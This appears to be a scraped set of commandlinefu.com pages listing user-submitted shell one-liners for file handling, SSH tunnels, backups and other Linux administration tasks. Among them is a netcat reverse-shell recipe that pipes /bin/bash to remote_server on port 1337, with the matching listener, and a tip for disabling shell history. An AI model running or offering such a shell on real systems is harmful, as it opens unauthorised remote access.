it to print some column headers paste <(vert several) <(vert parallel) <(vert vertical) <(vert "lines of") <(vert "text can") <(vert "be used") <(vert "for labels") <(vert "for columns") <(vert "of numbers") pydoc -p 8888 & gnome-open http://localhost:8888 Start a HTTP server which serves Python docs I use this command to start a local Python document server over HTTP port 8888. awk '/sshd/ && /Failed/ {gsub(/invalid user/,""); printf "%-12s %-16s %s-%s-%s\n", $9, $11, $1, $2, $3}' /var/log/auth.log A variation of a script I found on this site and then slimmed down to just use awk. It displays all users who have attempted to login to the box and failed using SSH. Pipe it to the sort command to see which usernames have the most failed logins. touch {1..10}.txt Functions: touch Create a bunch of dummy files for testing Sometimes I need to create a directory of files to operate on to test out some commandlinefu I am cooking up. The main thing is the range ({1..N}) expansion. dpkg -S $( which ls ) Functions: ls which Find the package a command belongs to on Debian ls | while read f; do mv "$f" "${f// /_}";done Functions: ls mv read Replace spaces in filenames with underscorees script /dev/null | tee /dev/pts/3 Terminal redirection can display the commands and their output to another user who is connected to another terminal, by example pts/3 < /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c6 Functions: head tr Generate Random Passwords If you want a password length longer than 6, changing the -c6 to read -c8 will give you 8 random characters instead of 6. To end up with a line-feed, use this with echo: # echo `< /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c6` rename .oldextension .newextension *.oldextension Files extension change Changing a file extension to a new one for all files in a directory. for i in $(ls *.od{tp}); do unoconv -f pdf $i; done Converts to PDF all the OpenOffice.org files in the directory Requieres unoconv (debian package) ‹ First < 24 25 26 27 28 > Last › who loves mum Print info about your real user. To get your effective user: whoami wajig large List your largest installed packages. Requires the "wajig" package to be installed. tar -czvf - /src/dir | ssh remotehost "(cd /dst/dir ; tar -xzvf -)" Secure copy from one server to another without rsync and preserve users, etc Source: ssh -L :: -L :: @ ssh -L 5432:one.securedomain:5432 -L 8083:tunnel.trusteddomain:80 user@tunnel.trusteddomain Multiple SSH Tunnels Thankfully, the ssh command allows you to specify multiple tunnels through the same server in one command. Remeber if you want a priviliged port on your machine, you must use root or sudo account. ifconfig | perl -nle'/dr:(\S+)/ && print $1' Fetches the IPs and ONLY the IPs from ifconfig. Simplest, shortest, cleanest. Perl is too good to be true... (P.S.: credit should go to Peteris Krumins at catonmat.net) unset HISTFILE Functions: unset disable history for current shell session this will cause any commands that you have executed in the current shell session to not be written in your bash_history file upon logout rename 's/^/prefix/' * Add prefix onto filenames Best to try first with -n flag, to preview mkdir $(date +%Y%m%d) Functions: date mkdir Create directory named after current date Not a discovery but a useful one nontheless. In the above example date format is 'yyyymmdd'. For other possible formats see 'man date'. This command can be also very convenient when aliased to some meaningful name: alias mkdd='mkdir $(date +%Y%m%d)' gs -q -sPAPERSIZE=letter -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf `ls *.pdf` Merge *.pdf files Merge all pdf files in the directory into one pdf file (the out.pdf file) :%d Emptying a text file in one shot % = buffer d = delete ontouchdo(){ while :; do a=$(stat -c%Y "$1"); [ "$b" != "$a" ] && b="$a" && sh -c "$2"; sleep 1; done } Functions: sh sleep stat run a command whenever a file is touched This is useful if you'd like to see the output of a script while you edit it. Each time you save the file the command is executed. I thought for sure something like this already exists - and it probably does. I'm on an older system and tend to be missing some useful things. ontouchdo yourscript 'clear; yourscript somefiletoparse' Edit yourscript in a separate window and see new results each time you save. ontouchdo crufty.html 'clear; xmllint --noout crufty.html 2>&1 | head' Keep editing krufty.html until the xmllint window is empty. Note: Mac/bsd users should use stat -f%m. If you don't have stat, you can use perl -e '$f=shift; @s=stat($f); print "$s[9]\n";' $1 screen -raAd Resume a detached screen session, resizing to fit the current terminal By default, screen tries to restore its old window sizes when attaching to resizable terminals. This command is the command-line equivalent to typing ^A F to fit an open screen session to the window. sleeper(){ while `ps -p $1 &>/dev/null`; do echo -n "${2:-.}"; sleep ${3:-1}; done; }; export -f sleeper >>> ENCRYPTING SQL BACKUP :::::::::::::::::: DONE Functions: echo export sleep Function that outputs dots every second until command completes Very useful in shell scripts because you can run a task nicely in the background using job-control and output progress until it completes. Here's an example of how I use it in backup scripts to run gpg in the background to encrypt an archive file (which I create in this same way). $! is the process ID of the last run command, which is saved here as the variable PI, then sleeper is called with the process id of the gpg task (PI), and sleeper is also specified to output : instead of the default . every 3 seconds instead of the default 1. So a shorter version would be sleeper $!; The wait is also used here, though it may not be needed on your system. echo ">>> ENCRYPTING SQL BACKUP" gpg --output archive.tgz.asc --encrypt archive.tgz 1>/dev/null & PI=$!; sleeper $PI ":" 3; wait $PI && rm archive.tgz &>/dev/null Previously to get around the $! not always being available, I would instead check for the existance of the process ID by checking if the directory /proc/$PID existed, but not everyone uses proc anymore. That version is currently the one at http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html but I plan on upgrading to this new version soon. multitail -l 'ssh machine1 "tail -f /var/log/apache2/error.log"' -l 'ssh machine2 "tail -f /var/log/apache2/error.log"' Watch several log files of different machines in a single multitail window on your own machine this way you have the multitail with all its options running on your own machine with the tails of the two remote machines inside :) rename 's/foo/bar/g' * $:~/tmp$ ls foofile1 foofile2 foofile3 $:~/tmp$ rename 's/foo/bar/g' * barfile1 barfile2 barfile3 renames multiple files that match the pattern Useful when you want to quickly rename a bunch of files. apt-get install `ssh root@host_you_want_to_clone "dpkg -l | grep ii" | awk '{print $2}'` Functions: apt awk install "Clone" a list of installed packages from one Debian/Ubuntu Server to another touch -d $(zenity --calendar --date-format=%F) filename Change/Modify timestamp interactively sed -r 's/([a-z]+)([A-Z][a-z]+)/\1_\l\2/g' file.txt $ cat file.txt camelCase $ sed -r 's/([a-z]+)([A-Z][a-z]+)/\1_\l\2/g' file.txt camel_case Convert camelCase to underscores (camel_case) Useful for switching over someone else's coding style who uses camelCase notation to your style using all lowercase with underscores. while [ 1 ]; do banner 'ze missiles, zey are coming! ' | while IFS="\n" read l; do echo "$l"; sleep 0.01; done; done Functions: banner echo read sleep bash screensaver (scrolling ascii art with customizable message) Make sure you finish your banner message with a space so it will loop nicely. find ./ -name '*' -exec rename 's/\s+/_/g' {} \; foo bar.txt -> foo_bar.txt bar foo.txt -> bar_foo.txt Functions: find rename Find recursively, from current directory down, files and directories whose names contain single or multiple whitespaces and replace each such occurrence with a single underscore. Note the g for global in the perl expression; without it, only the first occurrence in the name would be replaced. rm -rf `find . -type d -name .svn` Remove all subversion files from a project recursively This command will remove all .svn folder from your project if you need to manual remove the subversion files. $ vim ... :help 42 vim easter egg inside vim try: :help 42 to get the meaning of life, the universe and everything ! ssh -C -Y -l$USER xserver.mynet.xx 'Xnest -geometry 1900x1150 -query localhost' runs a X session within your X session http://www.debian-administration.org/article/Running_multiple_X11_sessions pinfo 9 Nice info browser pinfo package provide a nice info alternative based on ncurses. rsync -rtvu --modify-window=1 --progress /media/SOURCE/ /media/TARGET/ Backup files incremental with rsync to a NTFS-Partition This will backup the _contents_ of /media/SOURCE to /media/TARGET where TARGET is formatted with ntfs. The --modify-window lets rsync ignore the less accurate timestamps of NTFS. ‹ First < 25 26 27 28 29 > Last › find . -type f | wc -l Functions: find wc Count files beneath current directory (including subfolders) hdparm -i[I] /dev/sda hdparm -i /dev/sda | grep -i model hard disk information - Model/serial no. Get the hard disk information with out shutting down and opening the system. It gives information on model no., serial no., cylinders/heads/sectors, and the supported features of the hard disk. d="www.dafont.com/alpha.php?";for c in {a..z}; do l=`curl -s "${d}lettre=${c}"|sed -n 's/.*ge=\([0-9]\{2\}\).*/\1/p'`;for((p=1;p<=l;p++));do for u in `curl -s "${d}page=${p}&lettre=${c}"|egrep -o "http\S*.com/dl/\?f=\w*"`;do aria2c "${u}";done;done;done The current folder will fill with fonts :-) Functions: c++ egrep sed Fetch every font from dafont.com to current folder Requires aria2c but could just as easily wget or anything else. A great way to build up a nice font collection for Gimp without having to waste a lot of time. :-) :set ff=unix And in case you want to migrate back to, err.. MS-DOS: ":set ff=dos" does the opposite. cat /sys/class/net/eth0/address tail -fs 1 somefile Tail -f at your own pace The -s option allows you to specify the update interval find /path/to/dir -type f -print0 | xargs -0 rm Functions: find xargs Optimal way of deleting huge numbers of files Using xargs is better than: find /path/to/dir -type f -exec rm \-f {} \; as the -exec switch uses a separate process for each remove. xargs splits the streamed files into more managable subsets so less processes are required. [ "$1" == "--help" ] && { sed -n -e '/^# Usage:/,/^$/ s/^# \?//p' < $0; exit; } # # Usage: do someting really funny # --help This message # --force force be stronger # --remove delete whatyou've done, be CAREFULL # ex: myfun dosomething # myfun --force dosomething_REALLY_DO_IT [ "$1" == "--help" ] && { sed -n -e '/^# Usage:/,/^$/ s/^# \?//p' < $0; exit; } echo really funny ! display an embeded help message from bash script header With this one liner you can easily output a standard help message using the following convention: Usage: is the start marker Stop at the last # cd $(dirname $(find ~ -name emails.txt)) Functions: cd dirname find Search for a single file and go to it This command looks for a single file named emails.txt which is located somewhere in my home directory and cd to that directory. This command is especially helpful when the file is burried deep in the directory structure. I tested it against the bash shells in Xubuntu 8.10 and Mac OS X Leopard 10.5.6 yes "$(seq 1 255)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done cycle through a 256 colour palette Rainbow, instead of greys find / -type f -size +500M -size -1G Find all files larger than 500M and less than 1GB grep -Eio '([[:alnum:]_.-]+@[[:alnum:]_.-]+?\.[[:alpha:].]{2,6})' hello-foo.bar-test@mail.foo-bar.com -> Match! extract email adresses from some file (or any other pattern) Simply more email-adresses matched perl -wlne'/title>([^<]+)/i&&rename$ARGV,"$1.html"' *.html Rename HTML files according to their title tag The above one-liner could be run against all HTML files in a directory. It renames the HTML files based on the text contained in their title tag. This helped me in a situation where I had a directory containing thousands of HTML documents with meaningless filenames. vimtutor To get you started! !date Mon Mar 2 15:55:01 CET 2009 !done (press RETURN) Launch a command from a manpage Launch a command from within a manpage, vim style. This is rather trivial, but can be very useful to try out the functions described in a manpage without actually quitting it (or switching to another console/screen/...). alias ':q'='exit' alias to close terminal with :q Put this in your ~/.bashrc file (or the equivalent) If you use vim a lot, this alias will be immediately obvious. Your brain will thank you. for I in `echo "show databases;" | mysql | grep -v Database`; do mysqldump $I > "$I.sql"; done Backups all MySQL databases to individual files. Can be put into a script that grabs current date so you have per day backups. calc(){ awk "BEGIN{ print $* }" ;} command line calculator simple function , floating point number is supported. read -p "Which station? "; mplayer --reallyquiet -vo none -ao sdl http://somafm.com/startstream=${REPLY}.pls Plays Music from SomaFM This command asks for the station name and then connects to somafm, Great for those who have linux home entertainment boxes and ssh enabled on them, just for the CLI fiends out there ( I know I'm one of them ;) Also, don't forget to add this as alias(ie alias somafm="read -p 'Which Station? "; mplayer --reallyquite -vo none -ao sdl nmap -T4 -sP 192.168.2.0/24 && egrep "00:00:00:00:00:00" /proc/net/arp Find unused IPs on a given subnet dmidecode -t 17 | awk -F":" '/Speed/ { print $2 }' [root@ronfedora ~]# dmidecode -t 17 | awk -F":" '/Speed/ { print $2 }' 533 MHz See your current RAM frequency man dmidecode [look for type] dd if=/dev/zero of=testfile.seek seek=5242879 bs=1 count=1 Create a 5 MB blank file via a seek hole Similar to the original, but is much faster since it only needs to write the last byte as zero. A diff on testfile and testfile.seek will return that they are the same. curl -s 'http://download.finance.yahoo.com/d/quotes.csv?s=csco&f=l1' 19.58 Command Line to Get the Stock Quote via Yahoo Retrieve the current stock price from Yahoo Finance. The output is simply the latest price (which could be delayed). If you want to look up stock for a different company, replace csco with your symbol. for file in <directory A>/*; do rm <directory B>/`basename $file`; done Functions: file rm This command is useful if you accidentally untar or unzip an archive in a directory and you want to automatically remove the files. Just untar the files again in a subdirectory and then run the above command e.g. for file in ~/Desktop/temp/*; do rm ~/Desktop/`basename $file`; done vimdiff <file> scp://[<user>@]<host>/<file> ‹ First < 26 27 28 29 30 > Last › curl -sd q=Network http://www.commandlinefu.com/search/autocomplete |html2text -width 100 * mtr google.com * sshfs name@server:/path/to/folder /path/to/mount/point * ssh -t reachable_host ssh unreachable_host * lsof -i * netstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c * tar -cj /backup | cstream -t 777k | ssh host 'tar -xj -C /backup' * tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000' * ssh -f -N -L 5432:talk.google.com:5222 user@home.network.com * nmap -A -p1-85,113,443,8080-8100 -T4 --min-hostgroup 50 --max-rtt-timeout 2000 --initial-rtt- * mii-tool eth0 Search commandlinefu from the CLI html2text: http://www.mbayer.de/html2text/ for example if you did a: ls -la /bin/ls ls !$ is equivalent to doing a ls /bin/ls touch $2;firefox -print $1 -printmode PNG -printfile $2 convert a web page into a png This requires the command-line print extension (see #2861 for more details). I use it to make up complex images with formatted text using CSS and whatnot. It's a lot slicker than imagemagick for certain things. Now imagine using a local webserver with PHP and a database to generate the images. Oh, the possibilities... any_script.sh < <(some command) create a temporary file in a command line call Sometimes you have a script that needs and inputfile for execution. If you don't want to create one because it may contain only one line you can use the ` mysql -uuser -ppass dbname < <(echo "SELECT * FROM database;") This can be very usefull when working with mysql as I showed in the example code above. This will create a temporary file that is used to execute mysql and for example select all entrys from a specific database. perl -e 'for(;;){@d=split("",`date +%H%M%S`);print"\r";for(0..5){printf"%.4b ",$d[$_]}sleep 1}' Binary clock Fun idea! This one adds seconds and keeps running on the same line. Perl's probably cheating though. :) dig +short @resolver1.opendns.com myip.opendns.com Outgoing IP of server Faster than the curl/wget-approaches. aspell -a <<< '<WORDS>' $ aspell -a <<< 'embarass' @(#) International Ispell Version 3.1.20 (but really Aspell 0.60.6) & embarass 25 0: embarrass, umbras, embarks, embarrasses, embrace, umbra's, embarrassed, embassy, embraces, Ambros's, embers, emboss, Ambros, embargo's, embargoes, Amara's, Emera's, ember's, embryos, empress, Ambrose, Ambrosi, embassy's, embryo's, Elbrus's Check your spelling For when you need a quick spell check. for i in {1..5}; do cp test{,$i};done test1 test2 test3 test4 test5 Create several copies of a file Copy a file to a range of other files. echo "Terrorist threat level: `od -An -N1 -i /dev/random`" Terrorist threat level text This line provides the same result by reading the output of a less arbitrary value. This is a personal choice on the matter, and the result on different machines may vary. echo "Body goes here" | mutt -s "A subject" -a /path/to/file.tar.gz recipient@example.com Send email with one or more binary attachments This command uses mutt to send the mail. You must pipe in a body, otherwise mutt will prompt you for some stuff. If you don't have mutt, it should be dead easy to install. /usr/bin/man $* || w3m -dump http://google.com/search?q="$*"\&btnI | less $ ~/.man.sh backup Backup From Wikipedia, the free encyclopedia Jump to: navigation, search For other uses of "Backup", see Backup (disambiguation). In information technology, a backup or the process of backing up refers to making copies of data so that these additional copies may be used to restore the original after a data loss event. The verb is back up in two words, whereas the noun is backup (often used like an adjective in compound nouns).^[1] Extended man command This microscript looks up a man page for each word possible, and if the correct page is not found, uses w3m and Google's "I'm feeling lucky" to output a first possible result. This script was made as a result of an idea on a popular Linux forum, where users often send other people to RTFM by saying something like "man backup" or "man ubuntu one". To make this script replace the usual man command, save it as ".man.sh" in your home folder and add the following string to the end of your .bashrc file: alias man='~/.man.sh' while inotifywait -e modify /tmp/myfile; do firefox; done Run a command when a file is changed ssh -R 5497:127.0.0.1:22 -p 62220 user@public.ip back ssh from firewalled hosts host B (you) redirects a modem port (62220) to his local ssh. host A is a remote machine (the ones that issues the ssh cmd). once connected port 5497 is in listening mode on host B. host B just do a ssh 127.0.0.1 -p 5497 -l user and reaches the remote host'ssh. This can be used also for vnc and so on. [ `date --date='next day' +'%B'` == `date +'%B'` ] || echo 'end of month' is today the end of the month? ps aux | grep "[s]ome_text" $ ps aux | grep "crond" $ ps aux | grep "[c]rond" Grep without having it show its own process in the results The trick here is to use the brackets [ ] around any one of the characters of the grep string. This uses the fact that [?] is a character class of one letter and will be removed when parsed by the shell. This is useful when you want to parse the output of grep or use the return value in an if-statement without having its own process causing it to erroneously return TRUE. say -v Vicki "Hi, I'm a mac" Get your mac to talk to you Very entertaining when run on someone elses machine remotely ;) Better way to use notify-send with at or cron we don't need to export variables to set a env to a command, we may do this before the command directly awk '!a[$0]++' file print file without duplicated lines using awk This create an array 'a' with wole lines. only one occurrence of each line - Not Get lines ++ ! mknod backpipe p && nc remote_server 1337 0<backpipe | /bin/bash 1>backpipe On remote server : $ nc -l -p 1337 Listening on [any] 1337... Connect to [ip_address] from [remote_box] 34876 Functions: mknod execute a shell with netcat without -e how to execute a shell on a server with a netcat binary which doesn't support -e option echo foo bar foobar barfoo && echo !$ !^ !:3 !* && echo /usr/bin/foobar&& echo !$:h !$:t bash shortcut: !$ !^ !* !:3 !:h and !:t When expanding, bash output the command, so don't be affraid if you type the command. Here is the details: First examples: echo foo bar foobar barfoo First argument: echo !$ echo barfoo barfoo (Note that typing echo foo bar foobar barfoo && echo !$, bash substitute !$ with $:1) Last argument: echo foo bar foobar barfoo && echo !^ echo foo bar foobar barfoo && echo barfoo foo bar foobar barfoo All the arguments: echo !* The third argument: echo foo bar foobar barfoo && echo !:3 echo foo bar foobar barfoo && echo foobar foobar You may want to add {} for large numbers: echo !:{11} for example Now with path: echo /usr/bin/foobar /usr/bin/foobar For the head: echo !$:h echo /usr/bin /usr/bin And the tail: echo !$:t echo foobar You also may want to try !:h and !:t or !!3-4 for the third and the fourth (so !!:* == !!:1-$) pwgen -Bs 10 1 WdUMhnv4JH generate random password -B flag = don't include characters that can be confused for other characters (this helps when you give someone their password for the first time so they don't cause a lockout with, for example, denyhosts or fail2ban) -s flag = make a "secure", or hard-to-crack password -y flag = include special characters (not used in the example because so many people hate it -- however I recommend it) "1 10" = output 1 password, make it 10 characters in length For even more secure passwords please use the -y flag to include special characters like so: pwgen -Bsy 10 1 output>> }&^Y?.>7Wu tar -cf - /home/user/test | gzip -c | ssh user@sshServer 'cd /tmp; tar xfz -' Functions: gzip ssh tar Useful to move many files (thousands or millions files) over ssh. Faster than scp because this way you save a lot of tcp connection establishments (syn/ack packets). If using a fast lan (I have just tested gigabyte ethernet) it is faster to not compress the data so the command would be: tar -cf - /home/user/test | ssh user@sshServer 'cd /tmp; tar xf -' echo 'wget url' | at 12:00 j=0;while true; do let j=$j+1; for i in $(seq 0 20 100); do echo $i;sleep 1; done | dialog --gauge "Install part $j : `sed $(perl -e "print int rand(99999)")"q;d" /usr/share/dict/words`" 6 40;done Functions: echo seq sleep This will turn it in an infinite loop and also shows random words from a file, so it won't be the same each time and also not just a number. dd if=/dev/cdrom | pv -s 700m | md5sum | tee test.md5 190MB 0:01:42 [ 2.3MB/s] [========> ] 27% ETA 0:04:33 698MB 0:04:33 [2.55MB/s] [=================================> ] 99% 589f13da46e34789cb13b7dc574ccc6c - Functions: dd md5sum tee [re]verify a disc with very friendly output [re]verify those burned CD's early and often - better safe than sorry - at a bare minimum you need the good old `dd` and `md5sum` commands, but why not throw in a super "user-friendly" progress gauge with the `pv` command - adjust the ``-s'' "size" argument to your needs - 700 MB in this case, and capture that checksum in a "test.md5" file with `tee` - just in-case for near-future reference. *uber-bonus* ability - positively identify those unlabeled mystery discs - for extra credit, what disc was used for this sample output? ‹ First < 27 28 29 30 31 > Last › alt + 1 . alt + number + dot will insert last command argument at $number place, alt + 0 + . will print last command name. For example ls /tmp /var ls /usr /home alt + 1 + . will result in '/usr' , if you press alt + . again, it will result in '/tmp' alt + 0 + . -> 'ls' curl http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-2500:25] | grep -v _curl_ > comfu.txt Save the Top 2500 commands from commandlinefu to a single text file grep "^V<TAB>" your_file grep tab chars mixing tabs and spaces for indentation in python would confuse the python interpreter, to avoid that, check if the file has any tab based indentation. "^V" => denotes press control + v and press tab within quotes. cat improper_indent.py class Tux(object): print "Hello world.." grep " " improper_indent.py compgen -A function List bash functions defined in .bash_profile or .bashrc http://stackoverflow.com/questions/2625783/listing-defined-functions-in-bash#2627461 for f in *;do mv "$f" "${f// /_}";done I realize there's a few of these out there, but none exactly in this form, which seems the cleanest to me swapoff -a ; swapon -a Functions: swapoff swapon Clean swap area after using a memory hogging application When you run a memory intensive application (VirtualBox, large java application, etc) swap area is used as soon as memory becomes insufficient. After you close the program, the data in swap is not put back on memory and that decreases the responsiveness. Swapoff disables the swap area and forces system to put swap data be placed in memory. Since running without a swap area might be detrimental, swapon should be used to activate swap again. Both swapoff and swapon require root privileges. alias launchpadkey="sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys" gpg: requesting key 4E5E17B5 from hkp server keyserver.ubuntu.com gpg: key 4E5E17B5: "Launchpad PPA for chromium-daily" 2 new signatures gpg: no ultimately trusted keys found gpg: Total number processed: 1 gpg: new signatures: 2 Alias for getting OpenPGP keys for Launchpad PPAs on Ubuntu Makes it easy to add keys to new ppa sources entries in apt sources.list Now to add the key for the chromium-daily ppa: launchpadkey 4E5E17B5 column -t /proc/mounts since fuse mounts do not appear in /etc/mtab (fuse can't write there, dunno if it would if it could) this is propably a better way. curl http://www.commandlinefu.com/commands/by/<your username>/rss|gzip ->commandlinefu-contribs-backup-$(date +%Y-%m-%d-%H.%M.%S).rss.gz % Total % Received % Xferd Average Speed Time Time Time Current 100 20487 0 20487 0 0 18344 0 --:--:-- 0:00:01 --:--:-- 97557 Functions: date gzip back up your commandlinefu contributed commands Use `zless` to read the content of your *rss.gz file: zless commandlinefu-contribs-backup-2009-08-10-07.40.39.rss.gz find . -name '*.jar' -printf '%f:' Convert the contents of a directory listing into a colon-separated environment variable Useful for making a CLASSPATH out of a list of JAR files, for example. Also: export CLASSPATH=.:$(find ./lib -name '*.jar' -printf '%p:') find /home/dir -mtime +1 -print -exec gzip -9 {} \; -exec mv {}.gz {}_`date +%F`.gz \; Functions: find gzip mv Backup files older than 1 day on /home/dir, gzip them, moving old file to a dated file. Useful for backing up old files, custom logs, etc. via a cronjob. sed -e "/$USER/d;s/:.*//g" /etc/group | sed -e :a -e '/$/N;s/\n/ /;ta' Tells which group you DON'T belong to (opposite of command "groups") --- uses sed special thanks to XwZ :) echo "?????, these are the umlauted vowels I sing to you. Oh, and sometimes ?, but I don't sing that one cause it doesn't rhyme." echo "?????, these are the umlauted vowels I sing to you. Oh, and sometimes ?." Here is U+2022: ?, which should look like a big bullet point, not an HTML entity. $ ugrep '\bpi\b' | grep MATH 𝚷 U+1D6B7 MATHEMATICAL BOLD CAPITAL PI 𝛑 U+1D6D1 MATHEMATICAL BOLD SMALL PI 𝛡 U+1D6E1 MATHEMATICAL BOLD PI SYMBOL 𝛱 U+1D6F1 MATHEMATICAL ITALIC CAPITAL PI 𝜋 U+1D70B MATHEMATICAL ITALIC SMALL PI 𝜛 U+1D71B MATHEMATICAL ITALIC PI SYMBOL 𝜫 U+1D72B MATHEMATICAL BOLD ITALIC CAPITAL PI 𝝅 U+1D745 MATHEMATICAL BOLD ITALIC SMALL PI 𝝕 U+1D755 MATHEMATICAL BOLD ITALIC PI SYMBOL 𝝥 U+1D765 MATHEMATICAL SANS-SERIF BOLD CAPITAL PI 𝝿 U+1D77F MATHEMATICAL SANS-SERIF BOLD SMALL PI 𝞏 U+1D78F MATHEMATICAL SANS-SERIF BOLD PI SYMBOL 𝞟 U+1D79F MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL PI 𝞹 U+1D7B9 MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL PI 𝟉 U+1D7C9 MATHEMATICAL SANS-SERIF BOLD ITALIC PI SYMBOL A formatting test for David Winterbottom: improving commandlinefu for submitters Commandlinefu.com is great but has a few bugs when people are submitting new commands: . 1. There is no preview button. This was a minor inconvenience before, but now is a major problem since new commands won't show up to be edited until they have been moderated. 2. White space in the description field and in the comments is almost completely lost. People resort to using periods in between paragraphs to force a line break. Indentation of code is ridiculous. 3. Many characters get munged. 3a. For example, a less than character in the description gets read as an HTML tag and discarded. In order to type a less than, I've had to type "<" (I hope that comes out right). Unfortunately, when re-editing a command, the HTML entity is turned into a literal less than character, which I have to change back by hand before saving. 3b. Some unicode characters work in the description field, but turn into ugly literal HTML strings when put in the sample output or in an additional command using the $ prefix. For example, here is a unicode character: ❥ Here is the same character after a dollar sign: ❥ 3c. Some unicode characters don't work anywhere. Bizarrely, it appears to be the most commonly needed ones, such as Latin-1 accented characters. Here are some examples, Bullet: ?, Center dot: ?, Umlaut u: ?. 4. Here is an example of the greater than, >, and less than, 5. Commandlinefu used to abbreviate long descriptions on the front page and had a "more..." button so that people could read the rest if they wanted. That's a good feature as it encourages people to explain their commands more fully. Either, the feature has gone missing, or, perhaps, I was just hallucinating it existed in the first place. If the former, please bring it back, If the latter, please implement this great new feature I just thought up. aria2c -s 4 http://my/url `aria2c` (from the aria2 project) allows. Change -s 4 to an arbitrary number of segments to control the number of concurrent connections. It is also possible to provide multiple URLs to the same content (potentially over multiple protocols) to download the file concurrently from multiple hosts. atb() { l=$(tar tf $1); if [ $(echo "$l" | wc -l) -eq $(echo "$l" | grep $(echo "$l" | head -n1) | wc -l) ]; then tar xf $1; else mkdir ${1%.tar.gz} && tar xf $1 -C ${1%.tar.gz}; fi ;} $ tar tf arch1.tar.gz file1 file2 file3 $ tar tf arch2.tar.gz dir1/ dir1/file2 dir1/file3 dir1/file1 $ atb arch1.tar.gz $ atb arch2.tar.gz $ tree |-- arch1 | |-- file1 | |-- file2 | `-- file3 |-- arch1.tar.gz |-- arch2.tar.gz `-- dir1 |-- file1 |-- file2 `-- file3 2 directories, 8 files Functions: echo grep head mkdir tar wc Escape potential tarbombs This Anti-TarBomb function makes it easy to unpack a .tar.gz without worrying about the possibility that it will "explode" in your current directory. I've usually always created a temporary folder in which I extracted the tarball first, but I got tired of having to reorganize the files afterwards. Just add this function to your .zshrc / .bashrc and use it like this; atb arch1.tar.gz and it will create a folder for the extracted files, if they aren't already in a single folder. This only works for .tar.gz, but it's very easy to edit the function to suit your needs, if you want to extract .tgz, .tar.bz2 or just .tar. More info about tarbombs at http://www.linfo.org/tarbomb.html Tested in zsh and bash. UPDATE: This function works for .tar.gz, .tar.bz2, .tgz, .tbz and .tar in zsh (not working in bash): atb() { l=$(tar tf $1); if [ $(echo "$l" | wc -l) -eq $(echo "$l" | grep $(echo "$l" | head -n1) | wc -l) ]; then tar xf $1; else mkdir ${1%.t(ar.gz||ar.bz2||gz||bz||ar)} && tar xf $1 -C ${1%.t(ar.gz||ar.bz2||gz||bz||ar)}; fi ;} UPDATE2: From the comments; bepaald came with a variant that works for .tar.gz, .tar.bz2, .tgz, .tbz and .tar in bash: atb() {shopt -s extglob ; l=$(tar tf $1); if [ $(echo "$l" | wc -l) -eq $(echo "$l" | grep $(echo "$l" | head -n1) | wc -l) ]; then tar xf $1; else mkdir ${1%.t@(ar.gz|ar.bz2|gz|bz|ar)} && tar xf $1 -C ${1%.t@(ar.gz|ar.bz2|gz|bz|ar)}; fi ; shopt -u extglob} $ history -a #in one shell , and $ history -r #in another running shell ## In shell one ## $ find -iname "*pdf*" <some output> $ history -a #You don't need this if you set PROMPT_COMMAND="history -a;$PROMPT_COMMAND" manually or in your ~/.profile or ~/.bashrc ## Switch to another running shell ## $ #Up arrow does not show the above 'find' command, so do following: $ history -r $ find -iname "*pdf*" #Up arrow now shows the 'find' command Instantly load bash history of one shell into another running shell By default bash history of a shell is appended (appended on Ubuntu by default: Look for 'shopt -s histappend' in ~/.bashrc) to history file only after that shell exits. Although after having written to the history file, other running shells do *not* inherit that history - only newly launched shells do. This pair of commands alleviate that. while read server; do ssh -n user@$server "command"; done < servers.txt Functions: read ssh How to run a command on a list of remote servers read from a file The important thing to note in this command, is the "-n" flag. rdesktop -a24 -uAdministrator -pPassword -r clipboard:CLIPBOARD -r disk:share=~/share -z -g 1280x900 -0 $@ & Open Remote Desktop (RDP) from command line and connect local resources The above command will open a Remote Desktop connection from command line, authenticate using default username and password (great for virtual machines; in the exampe above it's administrator:password), create a shared folder between your machine and the other machine and configure resolution to best fit your desktop (I don't like full screen because it make the desktop panels to disappear). The command will run in the background, and expect to receive parameters. You should enter hostname or IP address as a parameter to the command, and can also override the defaults parameters with your own. while :;do killall -USR1 dd;sleep 1;done 50225664 bytes (50 MB) copied, 16.5392 seconds, 3.0 MB/s 98098+0 records in 98097+0 records out 50225664 bytes (50 MB) copied, 16.5344 seconds, 3.0 MB/s 104185+0 records in4MB/s] 104185+0 records out 53342720 bytes (53 MB) copied, 17.548 seconds, 3.0 MB/s 104186+0 records in 104185+0 records out 53342720 bytes (53 MB) copied, 17.5432 seconds, 3.0 MB/s 110078+0 records in9MB/s] 110078+0 records out 56359936 bytes (56 MB) copied, 18.5567 seconds, 3.0 MB/s 110079+0 records in 110078+0 records out 56359936 bytes (56 MB) copied, 18.552 seconds, 3.0 MB/s send DD a signal to print its progress every 1sec sends DD the USR1 signal which causes DD to print its progress. taskset -cp <core> <pid> pid 27513's current affinity list: 1,2 pid 27513's new affinity list: 0-3 Change proccess affinity. Set the affinity of a process to a particular core(s). Arguments for processor include a comma separated list, or a range. (example: 1,2 or 0-3) You can use top in smp mode (Press 1) to see the changes to the affinity. split -b 19m file Nameforpart Nameforpartaa Nameforpartab Nameforpartac Functions: file split Split File in parts Split File in 19 MB big parts, putting parts together again via cat Nameforpartaa Nameforpartab Nameforpartac >> File TF=`mktemp` && man -t YOUR_COMMAND >> $TF && gnome-open $TF Open a man page as a PDF in Gnome Would be better if gnome-open would accept std in Should be doable in KDE - anyone? indent -kr hello.c Use Kernighan & Ritchie coding style in C program find . -type f -printf '%20s %p\n' | sort -n | cut -b22- | tr '\n' '\000' | xargs -0 ls -laSr -rw-r--r-- 1 fsilveira fsilveira 542537728 2001-10-03 19:29 ./rh72/enigma-SRPMS-disc2.iso -rw-r--r-- 1 fsilveira fsilveira 624476160 2001-10-03 19:35 ./rh72/enigma-docs.iso -rw-r--r-- 1 fsilveira fsilveira 669429760 2001-10-03 19:24 ./rh72/enigma-i386-disc2.iso -rw-r--r-- 1 fsilveira fsilveira 